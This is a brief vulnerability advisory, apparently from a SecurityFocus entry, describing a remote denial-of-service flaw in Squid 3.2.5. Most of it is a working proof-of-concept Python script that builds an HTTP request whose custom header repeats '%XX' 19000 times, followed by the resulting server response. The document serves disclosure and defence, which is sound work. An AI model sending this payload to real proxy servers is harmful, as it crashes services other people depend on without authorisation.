source: https://www.securityfocus.com/bid/58319/info

Squid is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions.

Squid 3.2.5 is vulnerable; other versions may also be affected. 

Request
  -- cut --
  #!/usr/bin/env python
  print 'GET /index.html HTTP/1.1'
  print 'Host: localhost'
  print 'X-HEADSHOT: ' + '%XX' * 19000
  print '\r\n\r\n'
  -- cut --

  Response
  -- cut --
  HTTP/1.1 200 OK
  Vary: X-HEADSHOT
  -- cut --